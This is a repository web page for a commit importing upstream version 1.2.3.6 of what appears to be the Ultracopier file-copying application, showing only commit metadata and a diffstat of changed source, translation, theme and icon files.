summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorThomas Preud'homme <robotux@celest.fr>2017-11-24 23:24:09 +0000
committerThomas Preud'homme <robotux@celest.fr>2017-11-24 23:24:09 +0000
commitb3c8bdcc0d1e4b2ab298847a7902b6d60410a5bc (patch)
tree8fce8a51adfb245db8ab2a76831661780c0c713e
parente297dbd8052ef4e66f069e2dd1865ae7fa8af28e (diff)
New upstream version 1.2.3.6
-rw-r--r--AuthPlugin.cpp123
-rw-r--r--AuthPlugin.h46
-rw-r--r--CliParser.cpp295
-rw-r--r--CliParser.h46
-rw-r--r--CompilerInfo.h2
-rw-r--r--CopyEngineManager.cpp620
-rw-r--r--CopyEngineManager.h144
-rw-r--r--[-rwxr-xr-x]CopyListener.cpp657
-rw-r--r--[-rwxr-xr-x]CopyListener.h196
-rw-r--r--[-rwxr-xr-x]Core.cpp1790
-rw-r--r--Core.h320
-rw-r--r--DebugEngine.cpp627
-rw-r--r--DebugEngine.h177
-rw-r--r--DebugEngineMacro.h20
-rw-r--r--DebugModel.cpp158
-rw-r--r--Environment.h10
-rw-r--r--EventDispatcher.cpp665
-rw-r--r--EventDispatcher.h116
-rw-r--r--ExtraSocket.cpp66
-rw-r--r--ExtraSocket.h16
-rw-r--r--FacilityEngine.cpp339
-rw-r--r--FacilityEngine.h88
-rw-r--r--GlobalClass.cpp40
-rw-r--r--GlobalClass.h44
-rw-r--r--HelpDialog.cpp233
-rw-r--r--HelpDialog.h50
-rw-r--r--HelpDialog.ui38
-rw-r--r--InternetUpdater.cpp112
-rw-r--r--InternetUpdater.h33
-rw-r--r--[-rwxr-xr-x]LanguagesManager.cpp468
-rw-r--r--LanguagesManager.h101
-rw-r--r--LocalListener.cpp455
-rw-r--r--LocalListener.h69
-rw-r--r--LocalPluginOptions.cpp54
-rw-r--r--LocalPluginOptions.h33
-rw-r--r--LogThread.cpp397
-rw-r--r--LogThread.h104
-rw-r--r--OSSpecific.cpp62
-rw-r--r--OSSpecific.h29
-rw-r--r--OSSpecific.ui108
-rw-r--r--[-rwxr-xr-x]OptionDialog.cpp2332
-rw-r--r--[-rwxr-xr-x]OptionDialog.h194
-rw-r--r--OptionDialog.ui193
-rw-r--r--OptionEngine.cpp361
-rw-r--r--OptionEngine.h104
-rw-r--r--PlatformMacro.h2
-rw-r--r--PluginInformation.cpp174
-rw-r--r--PluginInformation.h40
-rw-r--r--[-rwxr-xr-x]PluginLoader.cpp440
-rw-r--r--[-rwxr-xr-x]PluginLoader.h83
-rw-r--r--PluginsManager.cpp1562
-rw-r--r--PluginsManager.h215
-rw-r--r--README7
-rw-r--r--ResourcesManager.cpp318
-rw-r--r--ResourcesManager.h71
-rw-r--r--SessionLoader.cpp242
-rw-r--r--SessionLoader.h64
-rw-r--r--Singleton.h52
-rw-r--r--StructEnumDefinition.h140
-rw-r--r--StructEnumDefinition_UltracopierSpecific.h2
-rw-r--r--SystrayIcon.cpp826
-rw-r--r--SystrayIcon.h211
-rw-r--r--ThemesManager.cpp437
-rw-r--r--ThemesManager.h118
-rw-r--r--Variable.h30
-rw-r--r--interface/FacilityInterface.h46
-rw-r--r--interface/OptionInterface.h29
-rw-r--r--interface/PluginInterface_CopyEngine.h353
-rw-r--r--interface/PluginInterface_Listener.h62
-rw-r--r--interface/PluginInterface_PluginLoader.h35
-rw-r--r--interface/PluginInterface_SessionLoader.h33
-rw-r--r--interface/PluginInterface_Themes.h172
-rw-r--r--lib/qt-tar-xz/QTarDecode.cpp233
-rw-r--r--lib/qt-tar-xz/QTarDecode.h45
-rw-r--r--lib/qt-tar-xz/QXzDecode.cpp2
-rw-r--r--lib/qt-tar-xz/QXzDecode.h2
-rw-r--r--lib/qt-tar-xz/QXzDecodeThread.cpp2
-rw-r--r--lib/qt-tar-xz/QXzDecodeThread.h2
-rw-r--r--main.cpp156
-rw-r--r--patch/comercial/rsync-copy-engine.patch902
-rw-r--r--patch/opensource/KDE-Ultracopier.patch290
-rw-r--r--patch/opensource/options-with-pass.patch336
-rw-r--r--plugins-alternative/CopyEngine/Rsync/AvancedQFile.cpp94
-rw-r--r--plugins-alternative/CopyEngine/Rsync/AvancedQFile.h32
-rw-r--r--plugins-alternative/CopyEngine/Rsync/FilterRules.cpp193
-rw-r--r--plugins-alternative/CopyEngine/Rsync/Filters.cpp456
-rw-r--r--plugins-alternative/CopyEngine/Rsync/Filters.h44
-rw-r--r--plugins-alternative/CopyEngine/Rsync/Languages/ar/translation.ts806
-rw-r--r--plugins-alternative/CopyEngine/Rsync/Languages/de/translation.ts806
-rw-r--r--plugins-alternative/CopyEngine/Rsync/Languages/el/translation.ts806
-rw-r--r--plugins-alternative/CopyEngine/Rsync/Languages/es/translation.ts806
-rw-r--r--plugins-alternative/CopyEngine/Rsync/Languages/fr/translation.ts810
-rw-r--r--plugins-alternative/CopyEngine/Rsync/Languages/hi/translation.ts806
-rw-r--r--plugins-alternative/CopyEngine/Rsync/Languages/id/translation.ts806
-rw-r--r--plugins-alternative/CopyEngine/Rsync/Languages/it/translation.ts806
-rw-r--r--plugins-alternative/CopyEngine/Rsync/Languages/ja/translation.ts806
-rw-r--r--plugins-alternative/CopyEngine/Rsync/Languages/ko/translation.ts806
-rw-r--r--plugins-alternative/CopyEngine/Rsync/Languages/nl/translation.ts806
-rw-r--r--plugins-alternative/CopyEngine/Rsync/Languages/no/translation.ts806
-rw-r--r--plugins-alternative/CopyEngine/Rsync/Languages/pl/translation.ts806
-rw-r--r--plugins-alternative/CopyEngine/Rsync/Languages/pt/translation.ts806
-rw-r--r--plugins-alternative/CopyEngine/Rsync/Languages/ru/translation.ts806
-rw-r--r--plugins-alternative/CopyEngine/Rsync/Languages/th/translation.ts806
-rw-r--r--plugins-alternative/CopyEngine/Rsync/Languages/tr/translation.ts806
-rw-r--r--plugins-alternative/CopyEngine/Rsync/Languages/zh/translation.ts806
-rwxr-xr-xplugins-alternative/CopyEngine/Rsync/ListThread.cpp1720
-rwxr-xr-xplugins-alternative/CopyEngine/Rsync/ListThread.h376
-rw-r--r--plugins-alternative/CopyEngine/Rsync/ListThread_InodeAction.cpp66
-rw-r--r--plugins-alternative/CopyEngine/Rsync/MkPath.cpp100
-rw-r--r--plugins-alternative/CopyEngine/Rsync/MkPath.h56
-rw-r--r--plugins-alternative/CopyEngine/Rsync/ReadThread.cpp597
-rw-r--r--plugins-alternative/CopyEngine/Rsync/ReadThread.h144
-rw-r--r--plugins-alternative/CopyEngine/Rsync/RenamingRules.cpp85
-rw-r--r--plugins-alternative/CopyEngine/Rsync/RenamingRules.h34
-rw-r--r--plugins-alternative/CopyEngine/Rsync/RmPath.cpp179
-rw-r--r--plugins-alternative/CopyEngine/Rsync/RmPath.h58
-rw-r--r--plugins-alternative/CopyEngine/Rsync/StructEnumDefinition_CopyEngine.h90
-rw-r--r--plugins-alternative/CopyEngine/Rsync/TransferThread.cpp1252
-rw-r--r--plugins-alternative/CopyEngine/Rsync/TransferThread.h221
-rw-r--r--plugins-alternative/CopyEngine/Rsync/WriteThread.cpp508
-rw-r--r--plugins-alternative/CopyEngine/Rsync/WriteThread.h138
-rw-r--r--plugins-alternative/CopyEngine/Rsync/copyEngine-collision-and-error.cpp565
-rwxr-xr-xplugins-alternative/CopyEngine/Rsync/copyEngine.cpp819
-rwxr-xr-xplugins-alternative/CopyEngine/Rsync/copyEngine.h362
-rw-r--r--plugins-alternative/CopyEngine/Rsync/copyEngine.pro82
-rw-r--r--plugins-alternative/CopyEngine/Rsync/debugDialog.cpp70
-rw-r--r--plugins-alternative/CopyEngine/Rsync/debugDialog.h40
-rw-r--r--plugins-alternative/CopyEngine/Rsync/debugDialog.ui100
-rwxr-xr-xplugins-alternative/CopyEngine/Rsync/documentation.dox42
-rw-r--r--plugins-alternative/CopyEngine/Rsync/factory.cpp420
-rw-r--r--plugins-alternative/CopyEngine/Rsync/factory.h96
-rw-r--r--plugins-alternative/CopyEngine/Rsync/fileErrorDialog.cpp95
-rw-r--r--plugins-alternative/CopyEngine/Rsync/fileErrorDialog.h45
-rw-r--r--plugins-alternative/CopyEngine/Rsync/fileExistsDialog.cpp189
-rw-r--r--plugins-alternative/CopyEngine/Rsync/fileExistsDialog.h58
-rw-r--r--plugins-alternative/CopyEngine/Rsync/fileIsSameDialog.cpp156
-rw-r--r--plugins-alternative/CopyEngine/Rsync/fileIsSameDialog.h56
-rw-r--r--plugins-alternative/CopyEngine/Rsync/fileIsSameDialog.ui192
-rw-r--r--plugins-alternative/CopyEngine/Rsync/folderExistsDialog.cpp143
-rw-r--r--plugins-alternative/CopyEngine/Rsync/folderExistsDialog.h54
-rw-r--r--plugins-alternative/CopyEngine/Rsync/options.ui328
-rw-r--r--plugins-alternative/CopyEngine/Rsync/resources/add.pngbin564 -> 0 bytes
-rw-r--r--plugins-alternative/CopyEngine/Rsync/resources/edit.pngbin563 -> 0 bytes
-rw-r--r--plugins-alternative/CopyEngine/Rsync/resources/filter.pngbin429 -> 0 bytes
-rw-r--r--plugins-alternative/CopyEngine/Rsync/resources/remove.pngbin722 -> 0 bytes
-rw-r--r--plugins-alternative/CopyEngine/Rsync/scanFileOrFolder.cpp511
-rw-r--r--plugins-alternative/CopyEngine/Rsync/scanFileOrFolder.h91
-rw-r--r--plugins-alternative/PluginLoader/keybinding/DebugEngineMacro.h (renamed from plugins/CopyEngine/Ultracopier-0.3/DebugEngineMacro.h)7
-rw-r--r--plugins-alternative/PluginLoader/keybinding/Environment.h (renamed from plugins/CopyEngine/Ultracopier-0.3/Environment.h)6
-rw-r--r--plugins-alternative/PluginLoader/keybinding/KeyBind.cpp11
-rw-r--r--plugins-alternative/PluginLoader/keybinding/KeyBind.h18
-rw-r--r--plugins-alternative/PluginLoader/keybinding/Languages/ar/translation.ts4
-rw-r--r--plugins-alternative/PluginLoader/keybinding/Languages/de/translation.ts4
-rw-r--r--plugins-alternative/PluginLoader/keybinding/Languages/el/translation.ts4
-rw-r--r--plugins-alternative/PluginLoader/keybinding/Languages/en/translation.ts4
-rw-r--r--plugins-alternative/PluginLoader/keybinding/Languages/es/translation.ts4
-rw-r--r--plugins-alternative/PluginLoader/keybinding/Languages/fr/translation.ts4
-rw-r--r--plugins-alternative/PluginLoader/keybinding/Languages/hi/translation.ts4
-rw-r--r--plugins-alternative/PluginLoader/keybinding/Languages/hu/translation.ts4
-rw-r--r--plugins-alternative/PluginLoader/keybinding/Languages/id/translation.ts4
-rw-r--r--plugins-alternative/PluginLoader/keybinding/Languages/it/translation.ts4
-rw-r--r--plugins-alternative/PluginLoader/keybinding/Languages/ja/translation.ts4
-rw-r--r--plugins-alternative/PluginLoader/keybinding/Languages/ko/translation.ts4
-rw-r--r--plugins-alternative/PluginLoader/keybinding/Languages/nl/translation.ts4
-rw-r--r--plugins-alternative/PluginLoader/keybinding/Languages/no/translation.ts4
-rw-r--r--plugins-alternative/PluginLoader/keybinding/Languages/pl/translation.ts4
-rw-r--r--plugins-alternative/PluginLoader/keybinding/Languages/pt/translation.ts4
-rw-r--r--plugins-alternative/PluginLoader/keybinding/Languages/ru/translation.ts4
-rw-r--r--plugins-alternative/PluginLoader/keybinding/Languages/th/translation.ts4
-rw-r--r--plugins-alternative/PluginLoader/keybinding/Languages/tr/translation.ts4
-rw-r--r--plugins-alternative/PluginLoader/keybinding/Languages/zh/translation.ts4
-rw-r--r--plugins-alternative/PluginLoader/keybinding/OptionsWidget.cpp55
-rw-r--r--plugins-alternative/PluginLoader/keybinding/OptionsWidget.h31
-rw-r--r--plugins-alternative/PluginLoader/keybinding/OptionsWidget.ui31
-rw-r--r--plugins-alternative/PluginLoader/keybinding/PlatformMacro.h1
-rw-r--r--plugins-alternative/PluginLoader/keybinding/StructEnumDefinition.h (renamed from plugins-alternative/CopyEngine/Rsync/StructEnumDefinition.h)0
-rw-r--r--plugins-alternative/PluginLoader/keybinding/Variable.h16
-rw-r--r--plugins-alternative/PluginLoader/keybinding/documentation.dox34
-rw-r--r--plugins-alternative/PluginLoader/keybinding/informations.xml27
-rw-r--r--plugins-alternative/PluginLoader/keybinding/plugin.json1
-rw-r--r--plugins-alternative/PluginLoader/keybinding/pluginLoader.cpp61
-rw-r--r--plugins-alternative/PluginLoader/keybinding/pluginLoader.h47
-rw-r--r--plugins-alternative/PluginLoader/keybinding/pluginLoader.pro50
-rw-r--r--plugins-alternative/PluginLoader/keybinding/pluginLoader.pro.user.3.3-pre1266
-rw-r--r--plugins-alternative/Themes/Clean/Languages/ar/translation.ts4
-rw-r--r--plugins-alternative/Themes/Clean/Languages/de/translation.ts16
-rw-r--r--plugins-alternative/Themes/Clean/Languages/el/translation.ts4
-rw-r--r--plugins-alternative/Themes/Clean/Languages/en/translation.ts55
-rw-r--r--plugins-alternative/Themes/Clean/Languages/es/translation.ts10
-rw-r--r--plugins-alternative/Themes/Clean/Languages/fr/translation.ts10
-rw-r--r--plugins-alternative/Themes/Clean/Languages/hi/translation.ts4
-rw-r--r--plugins-alternative/Themes/Clean/Languages/hu/translation.ts55
-rw-r--r--plugins-alternative/Themes/Clean/Languages/id/translation.ts4
-rw-r--r--plugins-alternative/Themes/Clean/Languages/it/translation.ts20
-rw-r--r--plugins-alternative/Themes/Clean/Languages/ja/translation.ts4
-rw-r--r--plugins-alternative/Themes/Clean/Languages/ko/translation.ts10
-rw-r--r--plugins-alternative/Themes/Clean/Languages/nl/translation.ts4
-rw-r--r--plugins-alternative/Themes/Clean/Languages/no/translation.ts4
-rw-r--r--plugins-alternative/Themes/Clean/Languages/pl/translation.ts4
-rw-r--r--plugins-alternative/Themes/Clean/Languages/ru/translation.ts10
-rw-r--r--plugins-alternative/Themes/Clean/Languages/th/translation.ts4
-rw-r--r--plugins-alternative/Themes/Clean/Languages/tr/translation.ts4
-rw-r--r--plugins-alternative/Themes/Clean/Languages/zh/translation.ts4
-rw-r--r--[-rwxr-xr-x]plugins-alternative/Themes/Clean/documentation.dox6
-rw-r--r--plugins-alternative/Themes/Clean/factory.cpp89
-rw-r--r--plugins-alternative/Themes/Clean/factory.h42
-rw-r--r--plugins-alternative/Themes/Clean/informations.xml3
-rw-r--r--plugins-alternative/Themes/Clean/interface.cpp557
-rw-r--r--plugins-alternative/Themes/Clean/interface.h242
-rw-r--r--plugins-alternative/Themes/Clean/interface.pro31
-rw-r--r--plugins-alternative/Themes/Clean/interface.ui14
-rw-r--r--plugins-alternative/Themes/Clean/plugin.json1
-rw-r--r--plugins-alternative/Themes/Clean/resources.qrc2
-rw-r--r--plugins-alternative/Themes/Clean/resources/SystemTrayIcon/informations.pngbin734 -> 841 bytes
-rw-r--r--plugins-alternative/Themes/Clean/resources/SystemTrayIcon/systray_Caught_Unix.pngbin798 -> 1093 bytes
-rw-r--r--plugins-alternative/Themes/Clean/resources/SystemTrayIcon/systray_Caught_Windows.pngbin563 -> 623 bytes
-rw-r--r--plugins-alternative/Themes/Clean/resources/SystemTrayIcon/systray_Semiuncaught_Unix.pngbin1007 -> 1296 bytes
-rw-r--r--plugins-alternative/Themes/Clean/resources/SystemTrayIcon/systray_Semiuncaught_Windows.pngbin664 -> 841 bytes
-rw-r--r--plugins-alternative/Themes/Clean/resources/SystemTrayIcon/systray_Uncaught_Unix.pngbin789 -> 754 bytes
-rw-r--r--plugins-alternative/Themes/Clean/resources/SystemTrayIcon/systray_Uncaught_Windows.pngbin551 -> 485 bytes
-rw-r--r--plugins-alternative/Themes/Clean/resources_unix.qrc4
-rw-r--r--plugins-alternative/Themes/Clean/resources_windows.qrc2
-rw-r--r--plugins-alternative/Themes/Supercopier/DebugEngineMacro.h28
-rw-r--r--plugins-alternative/Themes/Supercopier/Environment.h10
-rw-r--r--plugins-alternative/Themes/Supercopier/Languages/ar/translation.ts324
-rw-r--r--plugins-alternative/Themes/Supercopier/Languages/de/translation.ts324
-rw-r--r--plugins-alternative/Themes/Supercopier/Languages/el/translation.ts324
-rw-r--r--plugins-alternative/Themes/Supercopier/Languages/en/translation.ts324
-rw-r--r--plugins-alternative/Themes/Supercopier/Languages/es/translation.ts340
-rw-r--r--plugins-alternative/Themes/Supercopier/Languages/fr/translation.ts344
-rw-r--r--plugins-alternative/Themes/Supercopier/Languages/hi/translation.ts324
-rw-r--r--plugins-alternative/Themes/Supercopier/Languages/hu/translation.ts328
-rw-r--r--plugins-alternative/Themes/Supercopier/Languages/id/translation.ts324
-rw-r--r--plugins-alternative/Themes/Supercopier/Languages/it/translation.ts336
-rw-r--r--plugins-alternative/Themes/Supercopier/Languages/ja/translation.ts324
-rw-r--r--plugins-alternative/Themes/Supercopier/Languages/ko/translation.ts336
-rw-r--r--plugins-alternative/Themes/Supercopier/Languages/nl/translation.ts324
-rw-r--r--plugins-alternative/Themes/Supercopier/Languages/no/translation.ts324
-rw-r--r--plugins-alternative/Themes/Supercopier/Languages/pl/translation.ts324
-rw-r--r--plugins-alternative/Themes/Supercopier/Languages/pt/translation.ts324
-rw-r--r--plugins-alternative/Themes/Supercopier/Languages/ru/translation.ts336
-rw-r--r--plugins-alternative/Themes/Supercopier/Languages/th/translation.ts324
-rw-r--r--plugins-alternative/Themes/Supercopier/Languages/tr/translation.ts324
-rw-r--r--plugins-alternative/Themes/Supercopier/Languages/zh/translation.ts324
-rw-r--r--plugins-alternative/Themes/Supercopier/StructEnumDefinition.h (renamed from plugins/CopyEngine/Ultracopier-0.3/StructEnumDefinition.h)0
-rw-r--r--plugins-alternative/Themes/Supercopier/TransferModel.cpp569
-rw-r--r--plugins-alternative/Themes/Supercopier/TransferModel.h96
-rw-r--r--plugins-alternative/Themes/Supercopier/Variable.h15
-rw-r--r--plugins-alternative/Themes/Supercopier/documentation.dox33
-rw-r--r--plugins-alternative/Themes/Supercopier/factory.cpp441
-rw-r--r--plugins-alternative/Themes/Supercopier/factory.h83
-rw-r--r--plugins-alternative/Themes/Supercopier/informations.xml26
-rw-r--r--plugins-alternative/Themes/Supercopier/interface.cpp1332
-rw-r--r--plugins-alternative/Themes/Supercopier/interface.h221
-rw-r--r--plugins-alternative/Themes/Supercopier/interface.pro59
-rw-r--r--plugins-alternative/Themes/Supercopier/interface.ui845
-rw-r--r--plugins-alternative/Themes/Supercopier/interfaceResources.qrc24
-rw-r--r--plugins-alternative/Themes/Supercopier/interfaceResources_unix.qrc9
-rw-r--r--plugins-alternative/Themes/Supercopier/interfaceResources_windows.qrc9
-rw-r--r--plugins-alternative/Themes/Supercopier/plugin.json1
-rw-r--r--plugins-alternative/Themes/Supercopier/resources/SystemTrayIcon/add.pngbin0 -> 246 bytes
-rw-r--r--plugins-alternative/Themes/Supercopier/resources/SystemTrayIcon/exit.pngbin0 -> 545 bytes
-rw-r--r--plugins-alternative/Themes/Supercopier/resources/SystemTrayIcon/informations.pngbin0 -> 281 bytes
-rw-r--r--plugins-alternative/Themes/Supercopier/resources/SystemTrayIcon/options.pngbin0 -> 275 bytes
-rw-r--r--plugins-alternative/Themes/Supercopier/resources/SystemTrayIcon/systray_Bottom_Progress_Unix.pngbin0 -> 95 bytes
-rw-r--r--plugins-alternative/Themes/Supercopier/resources/SystemTrayIcon/systray_Bottom_Progress_Windows.pngbin0 -> 93 bytes
-rw-r--r--plugins-alternative/Themes/Supercopier/resources/SystemTrayIcon/systray_Caught_Unix.pngbin0 -> 147 bytes
-rw-r--r--plugins-alternative/Themes/Supercopier/resources/SystemTrayIcon/systray_Caught_Windows.pngbin0 -> 148 bytes
-rw-r--r--plugins-alternative/Themes/Supercopier/resources/SystemTrayIcon/systray_Semiuncaught_Unix.pngbin0 -> 147 bytes
-rw-r--r--plugins-alternative/Themes/Supercopier/resources/SystemTrayIcon/systray_Semiuncaught_Windows.pngbin0 -> 148 bytes
-rw-r--r--plugins-alternative/Themes/Supercopier/resources/SystemTrayIcon/systray_Top_Progress_Unix.pngbin0 -> 95 bytes
-rw-r--r--plugins-alternative/Themes/Supercopier/resources/SystemTrayIcon/systray_Top_Progress_Windows.pngbin0 -> 93 bytes
-rw-r--r--plugins-alternative/Themes/Supercopier/resources/SystemTrayIcon/systray_Uncaught_Unix.pngbin0 -> 141 bytes
-rw-r--r--plugins-alternative/Themes/Supercopier/resources/SystemTrayIcon/systray_Uncaught_Windows.pngbin0 -> 139 bytes
-rw-r--r--plugins-alternative/Themes/Supercopier/resources/add.pngbin0 -> 240 bytes
-rw-r--r--plugins-alternative/Themes/Supercopier/resources/cancel.pngbin0 -> 284 bytes
-rw-r--r--plugins-alternative/Themes/Supercopier/resources/export-transfer-list.pngbin0 -> 264 bytes
-rw-r--r--plugins-alternative/Themes/Supercopier/resources/import-transfer-list.pngbin0 -> 316 bytes
-rw-r--r--plugins-alternative/Themes/Supercopier/resources/main.pngbin0 -> 148 bytes
-rw-r--r--plugins-alternative/Themes/Supercopier/resources/moveDown.pngbin0 -> 191 bytes
-rw-r--r--plugins-alternative/Themes/Supercopier/resources/moveUp.pngbin0 -> 190 bytes
-rw-r--r--plugins-alternative/Themes/Supercopier/resources/player_end.pngbin0 -> 226 bytes
-rw-r--r--plugins-alternative/Themes/Supercopier/resources/player_pause.pngbin0 -> 207 bytes
-rw-r--r--plugins-alternative/Themes/Supercopier/resources/player_play.pngbin0 -> 208 bytes
-rw-r--r--plugins-alternative/Themes/Supercopier/resources/progressbarleft.pngbin0 -> 133 bytes
-rw-r--r--plugins-alternative/Themes/Supercopier/resources/progressbarright.pngbin0 -> 132 bytes
-rw-r--r--plugins-alternative/Themes/Supercopier/resources/putOnBottom.pngbin0 -> 206 bytes
-rw-r--r--plugins-alternative/Themes/Supercopier/resources/putOnTop.pngbin0 -> 208 bytes
-rw-r--r--plugins-alternative/Themes/Supercopier/resources/remove.pngbin0 -> 254 bytes
-rw-r--r--plugins-alternative/Themes/Supercopier/resources/search.pngbin0 -> 237 bytes
-rw-r--r--plugins-alternative/Themes/Supercopier/themesOptions.ui384
-rw-r--r--plugins-alternative/Themes/Teracopy/DebugEngineMacro.h7
-rw-r--r--plugins-alternative/Themes/Teracopy/Environment.h3
-rw-r--r--plugins-alternative/Themes/Teracopy/Languages/ar/translation.ts8
-rw-r--r--plugins-alternative/Themes/Teracopy/Languages/de/translation.ts26
-rw-r--r--plugins-alternative/Themes/Teracopy/Languages/el/translation.ts8
-rw-r--r--plugins-alternative/Themes/Teracopy/Languages/en/translation.ts89
-rw-r--r--plugins-alternative/Themes/Teracopy/Languages/es/translation.ts14
-rw-r--r--plugins-alternative/Themes/Teracopy/Languages/fr/translation.ts9
-rw-r--r--plugins-alternative/Themes/Teracopy/Languages/hi/translation.ts8
-rw-r--r--plugins-alternative/Themes/Teracopy/Languages/hu/translation.ts93
-rw-r--r--plugins-alternative/Themes/Teracopy/Languages/id/translation.ts8
-rw-r--r--plugins-alternative/Themes/Teracopy/Languages/it/translation.ts26
-rw-r--r--plugins-alternative/Themes/Teracopy/Languages/ja/translation.ts8
-rw-r--r--plugins-alternative/Themes/Teracopy/Languages/ko/translation.ts6
-rw-r--r--plugins-alternative/Themes/Teracopy/Languages/nl/translation.ts8
-rw-r--r--plugins-alternative/Themes/Teracopy/Languages/no/translation.ts8
-rw-r--r--plugins-alternative/Themes/Teracopy/Languages/pl/translation.ts8
-rw-r--r--plugins-alternative/Themes/Teracopy/Languages/ru/translation.ts14
-rw-r--r--plugins-alternative/Themes/Teracopy/Languages/th/translation.ts8
-rw-r--r--plugins-alternative/Themes/Teracopy/Languages/tr/translation.ts8
-rw-r--r--plugins-alternative/Themes/Teracopy/Languages/zh/translation.ts8
-rw-r--r--plugins-alternative/Themes/Teracopy/TransferModel.cpp841
-rw-r--r--plugins-alternative/Themes/Teracopy/TransferModel.h120
-rw-r--r--plugins-alternative/Themes/Teracopy/Variable.h3
-rw-r--r--[-rwxr-xr-x]plugins-alternative/Themes/Teracopy/documentation.dox6
-rw-r--r--plugins-alternative/Themes/Teracopy/factory.cpp107
-rw-r--r--plugins-alternative/Themes/Teracopy/factory.h38
-rw-r--r--plugins-alternative/Themes/Teracopy/informations.xml3
-rw-r--r--plugins-alternative/Themes/Teracopy/interface.cpp695
-rw-r--r--plugins-alternative/Themes/Teracopy/interface.h289
-rw-r--r--plugins-alternative/Themes/Teracopy/interface.pro31
-rw-r--r--plugins-alternative/Themes/Teracopy/interface.ui14
-rw-r--r--plugins-alternative/Themes/Teracopy/plugin.json1
-rw-r--r--plugins-alternative/Themes/Teracopy/resources.qrc2
-rw-r--r--plugins-alternative/Themes/Teracopy/resources/SystemTrayIcon/add.pngbin564 -> 552 bytes
-rw-r--r--plugins-alternative/Themes/Teracopy/resources/SystemTrayIcon/exit.pngbin775 -> 874 bytes
-rw-r--r--plugins-alternative/Themes/Teracopy/resources/SystemTrayIcon/informations.pngbin734 -> 841 bytes
-rw-r--r--plugins-alternative/Themes/Teracopy/resources/SystemTrayIcon/options.pngbin660 -> 624 bytes
-rw-r--r--plugins-alternative/Themes/Teracopy/resources/SystemTrayIcon/systray_Caught_Unix.pngbin798 -> 1093 bytes
-rw-r--r--plugins-alternative/Themes/Teracopy/resources/SystemTrayIcon/systray_Caught_Windows.pngbin563 -> 623 bytes
-rw-r--r--plugins-alternative/Themes/Teracopy/resources/SystemTrayIcon/systray_Semiuncaught_Unix.pngbin1007 -> 1296 bytes
-rw-r--r--plugins-alternative/Themes/Teracopy/resources/SystemTrayIcon/systray_Semiuncaught_Windows.pngbin664 -> 841 bytes
-rw-r--r--plugins-alternative/Themes/Teracopy/resources/SystemTrayIcon/systray_Uncaught_Unix.pngbin789 -> 754 bytes
-rw-r--r--plugins-alternative/Themes/Teracopy/resources/SystemTrayIcon/systray_Uncaught_Windows.pngbin551 -> 485 bytes
-rw-r--r--plugins-alternative/Themes/Teracopy/resources/checkbox.pngbin654 -> 619 bytes
-rw-r--r--plugins-alternative/Themes/Teracopy/resources/main.pngbin563 -> 623 bytes
-rw-r--r--plugins-alternative/Themes/Teracopy/resources/player_pause.pngbin484 -> 640 bytes
-rw-r--r--plugins-alternative/Themes/Teracopy/resources/player_play.pngbin501 -> 673 bytes
-rw-r--r--plugins-alternative/Themes/Teracopy/resources_unix.qrc4
-rw-r--r--plugins-alternative/Themes/Teracopy/resources_windows.qrc2
-rw-r--r--plugins-alternative/Themes/Windows/DebugEngineMacro.h28
-rw-r--r--plugins-alternative/Themes/Windows/Environment.h10
-rw-r--r--plugins-alternative/Themes/Windows/Languages/ar/translation.ts121
-rw-r--r--plugins-alternative/Themes/Windows/Languages/de/translation.ts124
-rw-r--r--plugins-alternative/Themes/Windows/Languages/el/translation.ts121
-rw-r--r--plugins-alternative/Themes/Windows/Languages/en/translation.ts124
-rw-r--r--plugins-alternative/Themes/Windows/Languages/es/translation.ts124
-rw-r--r--plugins-alternative/Themes/Windows/Languages/fr/translation.ts124
-rw-r--r--plugins-alternative/Themes/Windows/Languages/hi/translation.ts121
-rw-r--r--plugins-alternative/Themes/Windows/Languages/hu/translation.ts121
-rw-r--r--plugins-alternative/Themes/Windows/Languages/id/translation.ts121
-rw-r--r--plugins-alternative/Themes/Windows/Languages/it/translation.ts125
-rw-r--r--plugins-alternative/Themes/Windows/Languages/ja/translation.ts121
-rw-r--r--plugins-alternative/Themes/Windows/Languages/ko/translation.ts121
-rw-r--r--plugins-alternative/Themes/Windows/Languages/nl/translation.ts121
-rw-r--r--plugins-alternative/Themes/Windows/Languages/no/translation.ts121
-rw-r--r--plugins-alternative/Themes/Windows/Languages/pl/translation.ts121
-rw-r--r--plugins-alternative/Themes/Windows/Languages/ru/translation.ts127
-rw-r--r--plugins-alternative/Themes/Windows/Languages/th/translation.ts121
-rw-r--r--plugins-alternative/Themes/Windows/Languages/tr/translation.ts121
-rw-r--r--plugins-alternative/Themes/Windows/Languages/zh/translation.ts121
-rw-r--r--plugins-alternative/Themes/Windows/StructEnumDefinition.h1
-rw-r--r--plugins-alternative/Themes/Windows/TransferModel.cpp286
-rw-r--r--plugins-alternative/Themes/Windows/TransferModel.h90
-rw-r--r--plugins-alternative/Themes/Windows/Variable.h15
-rw-r--r--plugins-alternative/Themes/Windows/documentation.dox29
-rw-r--r--plugins-alternative/Themes/Windows/factory.cpp74
-rw-r--r--plugins-alternative/Themes/Windows/factory.h45
-rw-r--r--plugins-alternative/Themes/Windows/informations.xml26
-rw-r--r--plugins-alternative/Themes/Windows/interface.cpp414
-rw-r--r--plugins-alternative/Themes/Windows/interface.h165
-rw-r--r--plugins-alternative/Themes/Windows/interface.pro48
-rw-r--r--plugins-alternative/Themes/Windows/interface.ui415
-rw-r--r--plugins-alternative/Themes/Windows/plugin.json1
-rw-r--r--plugins-alternative/Themes/Windows/resources.qrc10
-rw-r--r--plugins-alternative/Themes/Windows/resources/SystemTrayIcon/informations.pngbin0 -> 841 bytes
-rw-r--r--plugins-alternative/Themes/Windows/resources/SystemTrayIcon/systray_Caught_Unix.pngbin0 -> 1093 bytes
-rw-r--r--plugins-alternative/Themes/Windows/resources/SystemTrayIcon/systray_Caught_Windows.pngbin0 -> 623 bytes
-rw-r--r--plugins-alternative/Themes/Windows/resources/SystemTrayIcon/systray_Semiuncaught_Unix.pngbin0 -> 1296 bytes
-rw-r--r--plugins-alternative/Themes/Windows/resources/SystemTrayIcon/systray_Semiuncaught_Windows.pngbin0 -> 841 bytes
-rw-r--r--plugins-alternative/Themes/Windows/resources/SystemTrayIcon/systray_Uncaught_Unix.pngbin0 -> 754 bytes
-rw-r--r--plugins-alternative/Themes/Windows/resources/SystemTrayIcon/systray_Uncaught_Windows.pngbin0 -> 485 bytes
-rw-r--r--plugins-alternative/Themes/Windows/resources/arrow-down.pngbin0 -> 598 bytes
-rw-r--r--plugins-alternative/Themes/Windows/resources/arrow-up.pngbin0 -> 602 bytes
-rw-r--r--plugins-alternative/Themes/Windows/resources/empty.pngbin0 -> 95 bytes
